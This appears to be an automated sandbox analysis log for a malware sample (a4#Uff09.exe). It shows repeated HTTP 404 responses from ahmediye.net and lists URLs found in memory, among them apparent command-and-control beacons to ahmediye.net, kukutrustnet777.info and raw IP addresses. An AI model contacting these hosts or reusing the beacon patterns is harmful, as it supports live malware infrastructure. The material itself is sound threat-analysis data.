Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:18 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:23 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:28 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:32 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:37 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:41 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:45 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:49 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:55 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:03:59 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:04 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:04:08 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: plgMeM.exe, 00000002.00000003.1258073018.0000000001530000.00000004.00001000.00020000.00000000.sdmp, plgMeM.exe, 00000002.00000002.1371822515.0000000000DB3000.00000002.00000001.01000000.00000005.sdmp String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: a4#Uff09.exe, 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://.https=deleted%13%
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: http://127.0.0.1/R2/server.json
Source: a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://173.193.19.14/logo.gif
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://89.119.67.154/testo5/
Source: a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://89.119.67.154/testo5/http://kukutrustnet777.info/home.gifhttp://kukutrustnet888.info/home.gif
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://a3inforservice.com.br/images/logof.gif
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://accnet.ca/xs.jpg
Source: a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://accnet.ca/xs.jpghttp://a3inforservice.com.br/images/logof.gif
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?1c0afe0d=-1472072626
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?23fa445e=1741073324
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=1978733754
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=197873375462
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=1978733754U3
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?27505c3e=1978733754s3
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?2b0eedca=39424700
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?2c82c54b=-2054664223-3
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?2f612ca7=1589795150
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?2f612ca7=1589795150;4
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?3510fe43=-1467485672
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?3510fe43=-1467485672s5
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?3bcd0466=1442982908
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?43352d54=-912291844
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?5099e9=26411405
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?64deb2e=105769774
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?64deb2e=105769774w4
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?6f1957af=1296828173U52%
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?8d5908bb=-579912419
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?91511b59=-694843203
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?a4ace5e6=1858140924
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?a4ace5e6=1858140924D2
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?bd6ca73c=-345687584
Source: dllhost.exe, 00000004.00000003.2398855647.0000019B1F39E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?c4838ba0=1300931296
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?c82e6dfa=1098084304
Source: dllhost.exe, 00000004.00000003.3071852949.0000019B1F318000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ahmediye.net/xs.jpg?e366d748=456571456
